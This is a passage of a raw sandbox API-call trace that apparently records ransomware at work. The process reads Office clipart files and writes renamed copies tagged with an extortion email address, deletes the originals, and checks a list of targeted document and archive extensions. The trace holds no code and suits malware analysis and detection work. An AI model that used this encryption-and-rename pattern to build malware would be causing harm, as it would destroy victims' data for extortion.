lpNumberOfBytesRead=0x2fbfed4*=0x3dbe, lpOverlapped=0x0) returned 1 [0274.832] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0274.833] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.833] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.833] SetEndOfFile (hFile=0x2e0) returned 1 [0274.833] CloseHandle (hObject=0x2e0) returned 1 [0274.834] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.834] SetEndOfFile (hFile=0x2f0) returned 1 [0274.836] CloseHandle (hObject=0x2f0) returned 1 [0274.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0274.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.838] lstrlenW (lpString=".doc") returned 4 [0274.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.838] lstrlenW (lpString=".docx") returned 5 [0274.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.838] lstrlenW (lpString=".pdf") returned 4 [0274.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.838] lstrlenW (lpString=".xls") returned 4 [0274.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.838] lstrlenW (lpString=".xlsx") returned 5 [0274.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.838] lstrlenW (lpString=".ppt") returned 4 [0274.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.838] lstrlenW (lpString=".zip") returned 4 [0274.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.838] lstrlenW (lpString=".rar") returned 4 [0274.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.838] lstrlenW (lpString=".bz2") returned 4 [0274.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.838] lstrlenW (lpString=".7z") returned 3 [0274.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.838] lstrlenW (lpString=".dbf") returned 4 [0274.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.838] lstrlenW (lpString=".1cd") returned 4 [0274.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.839] lstrlenW (lpString=".jpg") returned 4 [0274.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.839] lstrlenW (lpString=".doc") returned 4 [0274.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.839] lstrlenW (lpString=".docx") returned 5 [0274.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.839] lstrlenW (lpString=".pdf") returned 4 [0274.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.839] lstrlenW (lpString=".xls") returned 4 [0274.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.839] lstrlenW (lpString=".xlsx") returned 5 [0274.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.839] lstrlenW (lpString=".ppt") returned 4 [0274.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.839] lstrlenW (lpString=".zip") returned 4 [0274.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.839] lstrlenW (lpString=".rar") returned 4 [0274.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.839] lstrlenW (lpString=".bz2") returned 4 [0274.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.839] lstrlenW (lpString=".7z") returned 3 [0274.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.839] lstrlenW (lpString=".dbf") returned 4 [0274.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.839] lstrlenW (lpString=".1cd") returned 4 [0274.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0274.840] lstrlenW (lpString=".jpg") returned 4 [0274.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.840] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.840] lstrlenW (lpString="HH01329_.WMF") returned 12 [0274.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.840] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=6016) returned 1 [0274.840] CloseHandle (hObject=0x2f0) returned 1 [0274.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0274.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.840] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.840] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.841] GetLastError () returned 0x0 [0274.841] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x1780, lpOverlapped=0x0) returned 1 [0274.842] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x1790, lpOverlapped=0x0) returned 1 [0274.843] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.843] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.843] SetEndOfFile (hFile=0x2e0) returned 1 [0274.843] CloseHandle (hObject=0x2e0) returned 1 [0274.843] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.843] SetEndOfFile (hFile=0x2f0) returned 1 [0274.845] CloseHandle (hObject=0x2f0) returned 1 [0274.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0274.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.847] lstrlenW (lpString=".doc") returned 4 [0274.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.847] lstrlenW (lpString=".docx") returned 5 [0274.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.847] lstrlenW (lpString=".pdf") returned 4 [0274.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.847] lstrlenW (lpString=".xls") returned 4 [0274.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.847] lstrlenW (lpString=".xlsx") returned 5 [0274.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.847] lstrlenW (lpString=".ppt") returned 4 [0274.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.848] lstrlenW (lpString=".zip") returned 4 [0274.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.848] lstrlenW (lpString=".rar") returned 4 [0274.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString=".bz2") returned 4 [0274.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString=".7z") returned 3 [0274.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.848] lstrlenW (lpString=".dbf") returned 4 [0274.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.848] lstrlenW (lpString=".1cd") returned 4 [0274.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.848] lstrlenW (lpString=".jpg") returned 4 [0274.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.848] lstrlenW (lpString=".doc") returned 4 [0274.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString=".docx") returned 5 [0274.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.848] lstrlenW (lpString=".pdf") returned 4 [0274.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.848] lstrlenW (lpString=".xls") returned 4 [0274.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.848] lstrlenW (lpString=".xlsx") returned 5 [0274.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.848] lstrlenW (lpString=".ppt") returned 4 [0274.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.849] lstrlenW (lpString=".zip") returned 4 [0274.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.849] lstrlenW (lpString=".rar") returned 4 [0274.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.849] lstrlenW (lpString=".bz2") returned 4 [0274.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.849] lstrlenW (lpString=".7z") returned 3 [0274.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.849] lstrlenW (lpString=".dbf") returned 4 [0274.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.849] lstrlenW (lpString=".1cd") returned 4 [0274.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0274.849] lstrlenW (lpString=".jpg") returned 4 [0274.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.849] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.849] lstrlenW (lpString="HH01461_.WMF") returned 12 [0274.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.850] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=5958) returned 1 [0274.850] CloseHandle (hObject=0x2f0) returned 1 [0274.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0274.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.850] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.850] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.850] GetLastError () returned 0x0 [0274.850] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x1746, lpOverlapped=0x0) returned 1 [0274.852] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x1750, lpOverlapped=0x0) returned 1 [0274.853] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.853] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.853] SetEndOfFile (hFile=0x2e0) returned 1 [0274.853] CloseHandle (hObject=0x2e0) returned 1 [0274.853] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.853] SetEndOfFile (hFile=0x2f0) returned 1 [0274.855] CloseHandle (hObject=0x2f0) returned 1 [0274.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0274.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.856] lstrlenW (lpString=".doc") returned 4 [0274.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.856] lstrlenW (lpString=".docx") returned 5 [0274.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.856] lstrlenW (lpString=".pdf") returned 4 [0274.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.856] lstrlenW (lpString=".xls") returned 4 [0274.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.856] lstrlenW (lpString=".xlsx") returned 5 [0274.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.856] lstrlenW (lpString=".ppt") returned 4 [0274.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.856] lstrlenW (lpString=".zip") returned 4 [0274.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.856] lstrlenW (lpString=".rar") returned 4 [0274.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.857] lstrlenW (lpString=".bz2") returned 4 [0274.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.857] lstrlenW (lpString=".7z") returned 3 [0274.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.857] lstrlenW (lpString=".dbf") returned 4 [0274.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.857] lstrlenW (lpString=".1cd") returned 4 [0274.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.857] lstrlenW (lpString=".jpg") returned 4 [0274.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.979] lstrlenW (lpString=".doc") returned 4 [0274.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.979] lstrlenW (lpString=".docx") returned 5 [0274.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.979] lstrlenW (lpString=".pdf") returned 4 [0274.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.979] lstrlenW (lpString=".xls") returned 4 [0274.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.979] lstrlenW (lpString=".xlsx") returned 5 [0274.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.979] lstrlenW (lpString=".ppt") returned 4 [0274.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.979] lstrlenW (lpString=".zip") returned 4 [0274.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.979] lstrlenW (lpString=".rar") returned 4 [0274.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.979] lstrlenW (lpString=".bz2") returned 4 [0274.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.979] lstrlenW (lpString=".7z") returned 3 [0274.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.979] lstrlenW (lpString=".dbf") returned 4 [0274.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.980] lstrlenW (lpString=".1cd") returned 4 [0274.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0274.980] lstrlenW (lpString=".jpg") returned 4 [0274.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.980] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.980] lstrlenW (lpString="HH02155_.WMF") returned 12 [0274.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 99 os_tid = 0x684 [0266.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x3990ac8 [0266.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x39a0ad0 [0266.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5528 [0266.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2f2fd0 [0266.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5540 [0266.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x3d40020 [0266.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5558 [0266.601] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5558, Size=0x20) returned 0x3992e0 [0266.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5558 [0266.601] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5558, Size=0x20) returned 0x3992b8 [0266.602] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.602] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.602] Wow64DisableWow64FsRedirection (in: OldValue=0x30fff58 | out: OldValue=0x30fff58*=0x0) returned 1 [0266.602] lstrlenW (lpString="kernel32.dll") returned 12 [0266.602] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992e0 | out: hHeap=0x2a0000) returned 1 [0266.602] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.602] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3992b8 | out: hHeap=0x2a0000) returned 1 [0266.602] Sleep (dwMilliseconds=0x64) [0266.835] Sleep (dwMilliseconds=0x64) [0267.094] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.094] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0267.209] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=4096) returned 1 [0267.209] CloseHandle (hObject=0x2f4) returned 1 [0267.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft 